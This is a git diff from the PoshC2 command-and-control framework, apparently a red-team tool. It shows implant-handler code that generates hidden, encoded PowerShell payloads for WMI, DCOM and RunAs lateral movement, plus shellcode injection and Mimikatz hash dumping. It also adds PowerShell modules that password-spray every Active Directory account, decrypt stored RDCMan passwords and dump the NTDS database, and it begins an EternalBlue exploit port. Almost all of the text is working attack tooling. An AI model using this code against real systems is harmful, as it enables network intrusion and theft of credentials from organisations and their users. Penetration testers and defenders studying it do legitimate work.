|
||||
new_task(cmd, randomuri)
|
||||
else:
|
||||
startup("Need to run createdaisypayload first")
|
||||
|
||||
elif "invoke-wmipayload" in command.lower():
|
||||
check_module_loaded("Invoke-WMIExec.ps1", randomuri)
|
||||
C2 = get_c2server_all()
|
||||
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "",
|
||||
"", "", "", "", C2[19], C2[20],
|
||||
C2[21], get_newimplanturl(), PayloadsDirectory)
|
||||
payload = newPayload.CreateRawBase()
|
||||
params = re.compile("invoke-wmipayload ", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
cmd = "invoke-wmiexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (params,payload)
|
||||
new_task(cmd, randomuri)
|
||||
|
||||
# dcom lateral movement
|
||||
|
||||
elif "invoke-dcomproxypayload" in command.lower():
|
||||
C2 = get_c2server_all()
|
||||
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
|
||||
C2[13], C2[11], "", "", C2[19], C2[20],
|
||||
C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory)
|
||||
payload = newPayload.CreateRawBase()
|
||||
p = re.compile(ur'(?<=-target.).*')
|
||||
target = re.search(p, command).group()
|
||||
pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\Windows\System32\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target,payload)
|
||||
new_task(pscommand, randomuri)
|
||||
|
||||
elif "invoke-dcomdaisypayload" in command.lower():
|
||||
daisyname = raw_input("Name required: ")
|
||||
if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory,daisyname))):
|
||||
with open("%s%spayload.bat" % (PayloadsDirectory,daisyname), "r") as p: payload = p.read()
|
||||
p = re.compile(ur'(?<=-target.).*')
|
||||
target = re.search(p, command).group()
|
||||
pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\Windows\System32\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target,payload)
|
||||
new_task(pscommand, randomuri)
|
||||
else:
|
||||
startup("Need to run createdaisypayload first")
|
||||
|
||||
elif "invoke-dcompayload" in command.lower():
|
||||
C2 = get_c2server_all()
|
||||
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "",
|
||||
"", "", "", "", C2[19], C2[20],
|
||||
C2[21], get_newimplanturl(), PayloadsDirectory)
|
||||
payload = newPayload.CreateRawBase()
|
||||
p = re.compile(ur'(?<=-target.).*')
|
||||
target = re.search(p, command).group()
|
||||
pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\Windows\System32\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target,payload)
|
||||
new_task(pscommand, randomuri)
|
||||
|
||||
# runas payloads
|
||||
|
||||
elif "invoke-runasdaisypayload" in command.lower():
|
||||
daisyname = raw_input("Name required: ")
|
||||
if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory,daisyname))):
|
||||
with open("%s%spayload.bat" % (PayloadsDirectory,daisyname), "r") as p: payload = p.read()
|
||||
new_task("$proxypayload = \"%s\"" % payload, randomuri)
|
||||
check_module_loaded("Invoke-RunAs.ps1", randomuri)
|
||||
check_module_loaded("NamedPipeDaisy.ps1", randomuri)
|
||||
params = re.compile("invoke-runasdaisypayload ", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSDaisy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
|
||||
pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params,base64.b64encode(pipe.encode('UTF-16LE')))
|
||||
new_task(pscommand, randomuri)
|
||||
else:
|
||||
startup("Need to run createdaisypayload first")
|
||||
|
||||
elif "invoke-runasproxypayload" in command.lower():
|
||||
C2 = get_c2server_all()
|
||||
if C2[11] == "":
|
||||
startup("Need to run createproxypayload first")
|
||||
else:
|
||||
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
|
||||
C2[13], C2[11], "", "", C2[19], C2[20],
|
||||
C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory)
|
||||
payload = newPayload.CreateRawBase()
|
||||
proxyvar = "$proxypayload = \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % payload
|
||||
new_task(proxyvar, randomuri)
|
||||
check_module_loaded("Invoke-RunAs.ps1", randomuri)
|
||||
check_module_loaded("NamedPipeProxy.ps1", randomuri)
|
||||
params = re.compile("invoke-runasproxypayload ", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSProxy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
|
||||
pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params,base64.b64encode(pipe.encode('UTF-16LE')))
|
||||
new_task(pscommand, randomuri)
|
||||
|
||||
elif "invoke-runaspayload" in command.lower():
|
||||
check_module_loaded("Invoke-RunAs.ps1", randomuri)
|
||||
check_module_loaded("NamedPipe.ps1", randomuri)
|
||||
params = re.compile("invoke-runaspayload ", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMS'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
|
||||
pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params,base64.b64encode(pipe.encode('UTF-16LE')))
|
||||
new_task(pscommand, randomuri)
|
||||
|
||||
elif command.lower() == "help" or command == "?" or command.lower() == "help ":
|
||||
print posh_help
|
||||
elif command.lower() == "help 1":
|
||||
print posh_help1
|
||||
elif command.lower() == "help 2":
|
||||
print posh_help2
|
||||
elif command.lower() == "help 3":
|
||||
print posh_help3
|
||||
elif command.lower() == "help 4":
|
||||
print posh_help4
|
||||
elif command.lower() == "help 5":
|
||||
print posh_help5
|
||||
elif command.lower() == "help 6":
|
||||
print posh_help6
|
||||
elif command.lower() == "help 7":
|
||||
print posh_help7
|
||||
elif command.lower() == "help 8":
|
||||
print posh_help8
|
||||
|
||||
|
||||
elif "get-pid" in command.lower():
|
||||
pid = get_implantdetails(randomuri)
|
||||
print pid[8]
|
||||
|
||||
elif "upload-file" in command.lower():
|
||||
source = ""
|
||||
destination = ""
|
||||
s = ""
|
||||
args = argp(command)
|
||||
try:
|
||||
if args:
|
||||
with open(args.source, "rb") as source_file:
|
||||
s = source_file.read()
|
||||
source = base64.b64encode(s)
|
||||
if s:
|
||||
destination = (args.destination).replace("\\","\\\\")
|
||||
uploadcommand = "Upload-File -Destination \"%s\" -Base64 %s" % (args.destination, source)
|
||||
new_task(uploadcommand, randomuri)
|
||||
except Exception as e:
|
||||
print "Error with source file: %s" % e
|
||||
traceback.print_exc()
|
||||
|
||||
elif "kill-implant" in command.lower() or "exit" in command.lower():
|
||||
impid = get_implantdetails(randomuri)
|
||||
ri = raw_input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid[0])
|
||||
if ri.lower() == "n":
|
||||
print "Implant not terminated"
|
||||
if ri == "":
|
||||
new_task("exit", randomuri)
|
||||
kill_implant(randomuri)
|
||||
if ri.lower() == "y":
|
||||
new_task("exit", randomuri)
|
||||
kill_implant(randomuri)
|
||||
|
||||
elif "unhide-implant" in command.lower():
|
||||
unhide_implant(randomuri)
|
||||
|
||||
elif "hide-implant" in command.lower():
|
||||
kill_implant(randomuri)
|
||||
|
||||
elif "migrate" in command.lower():
|
||||
params = re.compile("migrate", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
migrate(randomuri, params)
|
||||
|
||||
elif "loadmoduleforce" in command.lower():
|
||||
params = re.compile("loadmoduleforce ", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
check_module_loaded(params, randomuri, force=True)
|
||||
|
||||
elif "loadmodule" in command.lower():
|
||||
params = re.compile("loadmodule ", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
check_module_loaded(params, randomuri)
|
||||
|
||||
elif "invoke-daisychain" in command.lower():
|
||||
check_module_loaded("Invoke-DaisyChain.ps1", randomuri)
|
||||
urls = get_allurls()
|
||||
new_task("%s -URLs '%s'" % (command,urls), randomuri)
|
||||
print "Now use createdaisypayload"
|
||||
|
||||
elif "inject-shellcode" in command.lower():
|
||||
#elif (command.lower() == "inject-shellcode") or (command.lower() == "inject-shellcode "):
|
||||
params = re.compile("inject-shellcode", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
check_module_loaded("Inject-Shellcode.ps1", randomuri)
|
||||
readline.set_completer(filecomplete)
|
||||
path = raw_input("Location of shellcode file: ")
|
||||
t = tabCompleter()
|
||||
t.createListCompleter(COMMANDS)
|
||||
readline.set_completer(t.listCompleter)
|
||||
try:
|
||||
shellcodefile = load_file(path)
|
||||
if shellcodefile != None:
|
||||
arch = "64"
|
||||
new_task("$Shellcode%s=\"%s\"" % (arch,base64.b64encode(shellcodefile)), randomuri)
|
||||
new_task("Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s" % (arch, params), randomuri)
|
||||
except Exception as e:
|
||||
print "Error loading file: %s" % e
|
||||
|
||||
elif "searchhelp" in command.lower():
|
||||
searchterm = (command.lower()).replace("searchhelp ","")
|
||||
import string
|
||||
helpfull = string.split(posh_help, '\n')
|
||||
for line in helpfull:
|
||||
if searchterm in line:
|
||||
print line
|
||||
|
||||
elif "listmodules" in command.lower():
|
||||
print os.listdir("%s/Modules/" % POSHDIR)
|
||||
|
||||
elif "modulesloaded" in command.lower():
|
||||
ml = get_implantdetails(randomuri)
|
||||
print ml[14]
|
||||
|
||||
elif (command.lower() == "ps") or (command.lower() == "ps "):
|
||||
new_task("get-processfull", randomuri)
|
||||
|
||||
elif (command.lower() == "hashdump") or (command.lower() == "hashdump "):
|
||||
check_module_loaded("Invoke-Mimikatz.ps1", randomuri)
|
||||
new_task("Invoke-Mimikatz -Command '\"lsadump::sam\"'", randomuri)
|
||||
|
||||
elif (command.lower() == "sharpsocks") or (command.lower() == "sharpsocks "):
|
||||
check_module_loaded("SharpSocks.ps1", randomuri)
|
||||
import string
|
||||
from random import choice
|
||||
allchar = string.ascii_letters
|
||||
channel = "".join(choice(allchar) for x in range(25))
|
||||
sharpkey = gen_key()
|
||||
sharpurls = get_sharpurls()
|
||||
sharpurl = select_item("HostnameIP", "C2Server")
|
||||
new_task("Sharpsocks -Client -Uri %s -Channel %s -Key %s -URLs %s -Insecure -Beacon 2000" % (sharpurl,channel,sharpkey,sharpurls), randomuri)
|
||||
print "git clone https://github.com/nettitude/SharpSocks.git"
|
||||
print "SharpSocksServerTestApp.exe -c %s -k %s -l http://IPADDRESS:8080" % (channel,sharpkey)
|
||||
|
||||
elif (command.lower() == "history") or command.lower() == "history ":
|
||||
startup(get_history())
|
||||
|
||||
elif "reversedns" in command.lower():
|
||||
params = re.compile("reversedns ", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
new_task("[System.Net.Dns]::GetHostEntry(\"%s\")" % params, randomuri)
|
||||
|
||||
elif "createdaisypayload" in command.lower():
|
||||
name = raw_input("Daisy name: e.g. DC1 ")
|
||||
daisyurl = raw_input("Daisy host: .e.g. http://10.150.10.1 ")
|
||||
daisyport = raw_input("Daisy port: .e.g. 8888 ")
|
||||
daisyhostid = raw_input("Select Daisy Implant Host: e.g. 5 ")
|
||||
daisyhost = get_implantbyid(daisyhostid)
|
||||
proxynone = "if (!$proxyurl){$wc.Proxy = [System.Net.GlobalProxySelection]::GetEmptyWebProxy()}"
|
||||
|
||||
C2 = get_c2server_all()
|
||||
newPayload = Payloads(C2[5], C2[2], daisyurl, "", daisyport, "", "", "",
|
||||
"", proxynone, C2[19], C2[20],
|
||||
C2[21], "%s?d" % get_newimplanturl(), PayloadsDirectory)
|
||||
newPayload.C2Core = (newPayload.C2Core).replace("$pid;%s" % (daisyurl+":"+daisyport),"$pid;%s@%s" % (daisyhost[11],daisyhost[3]))
|
||||
newPayload.CreateRaw(name)
|
||||
newPayload.CreateDlls(name)
|
||||
newPayload.CreateShellcode(name)
|
||||
newPayload.CreateEXE(name)
|
||||
startup("Created new %s daisy payloads" % name)
|
||||
|
||||
elif "createproxypayload" in command.lower():
|
||||
proxyuser = raw_input("Proxy User: e.g. Domain\\user ")
|
||||
proxypass = raw_input("Proxy Password: e.g. Password1 ")
|
||||
proxyurl = raw_input("Proxy URL: .e.g. http://10.150.10.1:8080 ")
|
||||
update_item("ProxyURL", "C2Server", proxyurl)
|
||||
update_item("ProxyUser", "C2Server", proxyuser)
|
||||
update_item("ProxyPass", "C2Server", proxypass)
|
||||
C2 = get_c2server_all()
|
||||
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
|
||||
C2[13], C2[11], "", "", C2[19], C2[20],
|
||||
C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory)
|
||||
|
||||
newPayload.CreateRaw("Proxy")
|
||||
newPayload.CreateDlls("Proxy")
|
||||
newPayload.CreateShellcode("Proxy")
|
||||
newPayload.CreateEXE("Proxy")
|
||||
startup("Created new proxy payloads")
|
||||
|
||||
elif "createnewpayload" in command.lower():
|
||||
domain = raw_input("Domain or URL: https://www.example.com ")
|
||||
domainbase = (domain.lower()).replace('https://','')
|
||||
domainbase = domainbase.replace('http://','')
|
||||
domainfront = raw_input("Domain front URL: e.g. fjdsklfjdskl.cloudfront.net ")
|
||||
proxyuser = raw_input("Proxy User: e.g. Domain\\user ")
|
||||
proxypass = raw_input("Proxy Password: e.g. Password1 ")
|
||||
proxyurl = raw_input("Proxy URL: .e.g. http://10.150.10.1:8080 ")
|
||||
if proxyurl:
|
||||
imurl = "%s?p" % get_newimplanturl()
|
||||
else:
|
||||
imurl = get_newimplanturl()
|
||||
C2 = get_c2server_all()
|
||||
newPayload = Payloads(C2[5], C2[2], domain, domainfront, C2[8], proxyuser,
|
||||
proxypass, proxyurl, "", "", C2[19], C2[20],
|
||||
C2[21], imurl, PayloadsDirectory)
|
||||
|
||||
newPayload.CreateRaw("%s_" % domainbase)
|
||||
newPayload.CreateDlls("%s_" % domainbase)
|
||||
newPayload.CreateShellcode("%s_" % domainbase)
|
||||
newPayload.CreateEXE("%s_" % domainbase)
|
||||
startup("Created new payloads")
|
||||
else:
|
||||
if command:
|
||||
new_task(command, randomuri)
|
||||
return
|
||||
return
|
||||
|
||||
def commandloop(implant_id):
|
||||
while(True):
|
||||
try:
|
||||
implant_id_orig = implant_id
|
||||
t = tabCompleter()
|
||||
t.createListCompleter(COMMANDS)
|
||||
readline.set_completer_delims('\t')
|
||||
readline.parse_and_bind("tab: complete")
|
||||
readline.set_completer(t.listCompleter)
|
||||
if ("-" in implant_id.lower()) or ("all" in implant_id.lower()) or ("," in implant_id.lower()):
|
||||
print Colours.GREEN
|
||||
command = raw_input("%s> " % (implant_id))
|
||||
else:
|
||||
hostname = get_hostdetails(implant_id)
|
||||
print Colours.GREEN
|
||||
print "%s @ %s (PID:%s)" % (hostname[11],hostname[3],hostname[8])
|
||||
command = raw_input("%s> " % (implant_id))
|
||||
|
||||
# if "all" run through all implants get_implants()
|
||||
if implant_id.lower() == "all":
|
||||
if command == "back":
|
||||
startup()
|
||||
implant_split = get_implants()
|
||||
if implant_split:
|
||||
for implant_id in implant_split:
|
||||
runcommand(command, implant_id[1])
|
||||
# if "seperated list" against single uri
|
||||
elif "," in implant_id:
|
||||
implant_split = implant_id.split(",")
|
||||
for implant_id in implant_split:
|
||||
implant_id = get_randomuri(implant_id)
|
||||
runcommand(command, implant_id)
|
||||
# if "range" against single uri
|
||||
elif "-" in implant_id:
|
||||
implant_split = implant_id.split("-")
|
||||
for implant_id in range(int(implant_split[0]), int(implant_split[1])+1):
|
||||
try:
|
||||
implant_id = get_randomuri(implant_id)
|
||||
runcommand(command, implant_id)
|
||||
except Exception as e:
|
||||
print "Unknown ImplantID"
|
||||
# else run against single uri
|
||||
else:
|
||||
implant_id = get_randomuri(implant_id)
|
||||
runcommand(command, implant_id)
|
||||
|
||||
# then run back around
|
||||
commandloop(implant_id_orig)
|
||||
|
||||
except Exception as e:
|
||||
print Colours.RED
|
||||
print "Error running against the selected implant ID, ensure you have typed the correct information"
|
||||
#print Colours.END
|
||||
#traceback.print_exc()
|
||||
#print "Error: %s" % e
|
||||
# remove the following comment when publishing to live
|
||||
time.sleep(1)
|
||||
startup()
|
||||
|
||||
if __name__ == '__main__':
|
||||
original_sigint = signal.getsignal(signal.SIGINT)
|
||||
signal.signal(signal.SIGINT, catch_exit)
|
||||
startup()
|
|
@ -0,0 +1,71 @@
|
|||
#!/bin/sh
|
||||
|
||||
# Install PoshC2
|
||||
echo ""
|
||||
|
||||
echo """__________ .__. _________ ________
|
||||
\_______ \____ _____| |__ \_ ___ \ \_____ \
|
||||
| ___/ _ \/ ___/ | \ / \ \/ / ____/
|
||||
| | ( <_> )___ \| Y \ \ \____/ \
|
||||
|____| \____/____ >___| / \______ /\_______ \
|
||||
\/ \/ \/ \/
|
||||
=============== v4.0 www.PoshC2.co.uk ============="""
|
||||
|
||||
echo ""
|
||||
echo "[+] Installing PoshC2"
|
||||
echo ""
|
||||
|
||||
# Update apt
|
||||
echo "[+] Performing apt-get update"
|
||||
apt-get update
|
||||
|
||||
# Check if /opt/ exists, else create folder opt
|
||||
if [ ! -d /opt/ ]; then
|
||||
echo ""
|
||||
echo "[+] Creating folder in /opt/"
|
||||
mkdir /opt/
|
||||
fi
|
||||
|
||||
# Install requirements for PoshC2_Python
|
||||
echo ""
|
||||
echo "[+] Installing git & cloning PoshC2_Python into /opt/PoshC2_Python/"
|
||||
apt-get install -y git
|
||||
git clone https://github.com/nettitude/PoshC2_Python /opt/PoshC2_Python/
|
||||
|
||||
# Install requirements for PoshC2_Python
|
||||
echo ""
|
||||
echo "[+] Installing requirements using apt"
|
||||
apt-get install -y screen python-setuptools python-dev build-essential python-pip mingw-w64-tools mingw-w64 mingw-w64-x86-64-dev mingw-w64-i686-dev mingw-w64-common espeak graphviz
|
||||
|
||||
# Check if PIP is installed, if not install it
|
||||
if [! which pip > /dev/null]; then
|
||||
echo "[+] Installing pip as this was not found"
|
||||
wget https://bootstrap.pypa.io/get-pip.py
|
||||
python get-pip.py
|
||||
fi
|
||||
|
||||
# Run pip with requirements file
|
||||
echo ""
|
||||
echo "[+] Installing requirements using pip"
|
||||
echo "[+] python -m pip install -r /opt/PoshC2_Python/requirements.txt"
|
||||
echo ""
|
||||
pip install --upgrade pip
|
||||
python -m pip install -r /opt/PoshC2_Python/requirements.txt
|
||||
|
||||
echo ""
|
||||
echo "[+] Setup complete"
|
||||
echo ""
|
||||
echo """__________ .__. _________ ________
|
||||
\_______ \____ _____| |__ \_ ___ \ \_____ \
|
||||
| ___/ _ \/ ___/ | \ / \ \/ / ____/
|
||||
| | ( <_> )___ \| Y \ \ \____/ \
|
||||
|____| \____/____ >___| / \______ /\_______ \
|
||||
\/ \/ \/ \/
|
||||
=============== v4.0 www.PoshC2.co.uk ============="""
|
||||
echo ""
|
||||
echo "EDIT the config file: '/opt/PoshC2_Python/Config.py'"
|
||||
echo ""
|
||||
echo "sudo python /opt/PoshC2_Python/C2Server.py"
|
||||
echo "sudo python /opt/PoshC2_Python/ImplantHandler.py"
|
||||
echo ""
|
||||
echo "To install via systemctl read poshc2.service"
|
1
LICENSE
|
@ -1,6 +1,7 @@
|
|||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2018, Nettitude
|
||||
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
|
|
|
@ -0,0 +1,94 @@
|
|||
<#
|
||||
.Synopsis
|
||||
Brute forces active directory user accounts
|
||||
.DESCRIPTION
|
||||
Brute forces active directory user accounts
|
||||
.EXAMPLE
|
||||
PS C:\> Brute-Ad
|
||||
Bruteforce all accounts in AD with a given password or list of passwords.
|
||||
.EXAMPLE
|
||||
Brute-Ad -list password1,password2,'$password$','$Pa55w0rd$'
|
||||
Brute force all accounts in AD with a provided list of passwords.
|
||||
.EXAMPLE
|
||||
Brute-Ad -List password1
|
||||
Brute force all accounts in AD with just one password.
|
||||
.EXAMPLE
|
||||
Brute-Ad -list Password1,password2,'$password$','$Pa55w0rd$',password12345
|
||||
The provided list will be used: Password1 password2 $password$ $Pa55w0rd$ password12345
|
||||
|
||||
Username Password IsValid
|
||||
-------- -------- -------
|
||||
{Administrator} $Pa55w0rd$ True
|
||||
{jdoe} Password1 True
|
||||
#>
|
||||
function Brute-Ad
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param
|
||||
(
|
||||
[string[]]$list
|
||||
)
|
||||
if ($list)
|
||||
{
|
||||
$allpasswords = $list
|
||||
Write-Output -ForegroundColor Yellow 'The provided list will be used: '$allpasswords`n
|
||||
}
|
||||
else
|
||||
{
|
||||
$allpasswords = @('Password1')
|
||||
Write-Output -ForegroundColor Yellow 'The built-in list will be used: '$allpasswords`n
|
||||
}
|
||||
|
||||
Function Get-LockOutThreshold
|
||||
{
|
||||
$domain = [ADSI]"WinNT://$env:userdomain"
|
||||
$Name = @{Name='DomainName';Expression={$_.Name}}
|
||||
$AcctLockoutThreshold = @{Name='Account Lockout Threshold (Invalid logon attempts)';Expression={$_.MaxBadPasswordsAllowed}}
|
||||
$domain | Select-Object $AcctLockoutThreshold
|
||||
}
|
||||
|
||||
$lockout = Get-LockOutThreshold
|
||||
|
||||
Function Test-ADCredential
|
||||
{
|
||||
Param($username, $password, $domain)
|
||||
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
|
||||
$ct = [System.DirectoryServices.AccountManagement.ContextType]::Domain
|
||||
$pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ct, $domain)
|
||||
$object = New-Object PSObject | Select-Object -Property Username, Password, IsValid
|
||||
$object.Username = $username;
|
||||
$object.Password = $password;
|
||||
$object.IsValid = $pc.ValidateCredentials($username, $password).ToString();
|
||||
return $object
|
||||
}
|
||||
|
||||
$domain = $env:USERDOMAIN
|
||||
$username = ''
|
||||
|
||||
$lockoutthres = $lockout.'Account Lockout Threshold (Invalid logon attempts)'
|
||||
|
||||
if (!$lockoutthres)
|
||||
{
|
||||
$passwords = $allpasswords #no lockout threshold
|
||||
}
|
||||
elseif ($lockoutthres -eq 1)
|
||||
{
|
||||
$passwords = $allpasswords | Select-Object -First 1
|
||||
}
|
||||
else
|
||||
{
|
||||
$passwords = $allpasswords | Select-Object -First ($lockoutthres -=1)
|
||||
}
|
||||
|
||||
$DirSearcher = New-Object System.DirectoryServices.DirectorySearcher([adsi]'')
|
||||
$DirSearcher.Filter = '(&(objectCategory=Person)(objectClass=User))'
|
||||
$DirSearcher.FindAll().GetEnumerator() | ForEach-Object{
|
||||
|
||||
$username = $_.Properties.samaccountname
|
||||
foreach ($password in $passwords)
|
||||
{
|
||||
$result = Test-ADCredential $username $password
|
||||
$result | Where {$_.IsValid -eq $True}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,58 @@
|
|||
function Decrypt-RDCMan ($FilePath) {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
This script should be able to decrpt all passwords stored in the RDCMan config file
|
||||
|
||||
Function: Decrypt-RDCMan
|
||||
Author:Ben Turner @benpturner, Rich Hicks @scriptmonkey_
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Decrypt-RDCMan -FilePath
|
||||
#>
|
||||
if (!$FilePath) {
|
||||
[xml]$config = Get-Content "$env:LOCALAPPDATA\microsoft\remote desktop connection manager\rdcman.settings"
|
||||
$Xml = Select-Xml -Xml $config -XPath "//FilesToOpen/*"
|
||||
$Xml | select-object -ExpandProperty "Node"| % {Write-Output "Decrypting file: " $_.InnerText; Decrypt-RDCMan $_.InnerText}
|
||||
} else {
|
||||
[xml]$Types = Get-Content $FilePath
|
||||
|
||||
$Xml = Select-Xml -Xml $Types -XPath "//logonCredentials"
|
||||
|
||||
# depending on the RDCMan version we may need to change the XML search
|
||||
$Xml | select-object -ExpandProperty "Node" | % { $pass = Decrypt-DPAPI $_.Password; $_.Domain + "\" + $_.Username + " - " + $Pass + " - " + "Hash:" + $_.Password + "`n" }
|
||||
|
||||
# depending on the RDCMan version, we may have to use search through the #text field in the XML structure
|
||||
$Xml | select-object -ExpandProperty "Node" | % { $pass = Decrypt-DPAPI $_.Password."#text"; $_.Domain + "\" + $_.Username + "`n" + $Pass + " - Hash: " + $_.Password."#text" + "`n"}
|
||||
}
|
||||
}
|
||||
|
||||
function Decrypt-DPAPI ($EncryptedString) {
|
||||
# load the Security Assembly into the PS runspace
|
||||
Add-Type -assembly System.Security
|
||||
$encoding= [System.Text.Encoding]::ASCII
|
||||
$uencoding = [System.Text.Encoding]::UNICODE
|
||||
|
||||
# try and decrypt the password with the CurrentUser Scope
|
||||
try {
|
||||
$encryptedBytes = [System.Convert]::FromBase64String($encryptedstring)
|
||||
$bytes1 = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
|
||||
[System.Text.Encoding]::Convert([System.Text.Encoding]::UNICODE, $encoding, $bytes1) | % { $myStr1 += [char]$_}
|
||||
echo $myStr1
|
||||
}
|
||||
catch {
|
||||
# try and decrypt the password with the LocalMachine Scope only if the CurrentUser fails
|
||||
try {
|
||||
$encryptedBytes = [System.Convert]::FromBase64String($encryptedstring)
|
||||
$bytes1 = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedBytes, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
|
||||
[System.Text.Encoding]::Convert([System.Text.Encoding]::UNICODE, $encoding, $bytes1) | % { $myStr1 += [char]$_}
|
||||
echo $myStr1
|
||||
}
|
||||
catch {
|
||||
echo "Could not decrypt password"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -0,0 +1,35 @@
|
|||
<#
|
||||
.Synopsis
|
||||
Dumps the active directory dit using ntdsutil
|
||||
.DESCRIPTION
|
||||
Dumps the active directory dit using ntdsutil
|
||||
.EXAMPLE
|
||||
PS C:\>Dump-NTDS -EmptyFolder C:\Temp\NTDS\
|
||||
#>
|
||||
function Dump-NTDS
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param
|
||||
(
|
||||
[string[]]$EmptyFolder
|
||||
)
|
||||
|
||||
if( (Get-ChildItem $EmptyFolder | Measure-Object).Count -eq 0)
|
||||
{
|
||||
if (Test-Administrator) {
|
||||
NTdsutil.exe "activate instance ntds" "ifm" "create full $($EmptyFolder) " "q" "q"
|
||||
} else {
|
||||
Write-Output "Not running in elevated mode - must run as administrator"
|
||||
}
|
||||
} else {
|
||||
Write-Output "Folder is not empty, must use an empty folder"
|
||||
}
|
||||
|
||||
Write-Output "If successfull, Zip the files and download using - New-ZipFile c:\temp\test.zip c:\temp\test\"
|
||||
}
|
||||
function Test-Administrator
|
||||
{
|
||||
$user = [Security.Principal.WindowsIdentity]::GetCurrent();
|
||||
(New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)
|
||||
}
|
||||
|
|
@ -0,0 +1,719 @@
|
|||
function Invoke-EternalBlue($Target, $InitialGrooms, $MaxAttempts, $Shellcode, [Switch]$MsfBind){
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
PowerShell port of MS17_010 Metasploit module
|
||||
Based on Eternal Blue metasploit module by Sean Dillon <sean.dillon@risksense.com>',
|
||||
# @zerosum0x0 'Dylan Davis <dylan.davis@risksense.com>',
|
||||
# @jennamagius
|
||||
|
||||
.PARAMETER Target.
|
||||
Host to exploit
|
||||
.PARAMETER InitialGrooms
|
||||
Initial Grooms.
|
||||
.PARAMETER MaxAttempts
|
||||
number of times to run exploit
|
||||
.PARAMETER ShellCode
|
||||
ShellCode to execute on exploit
|
||||
.PARAMETER MsfBind
|
||||
Switch to run x64 bind shellcode TCP port 8080
|
||||
|
||||
.EXAMPLE
|
||||
Invoke-EternalBlue -Target 127.0.0.1 -InitialGrooms 5 -MaxAttempts 1 -MsfBind
|
||||
#>
|
||||
|
||||
$enc = [system.Text.Encoding]::ASCII
|
||||
|
||||
if ($MsfBind.IsPresent){
|
||||
|
||||
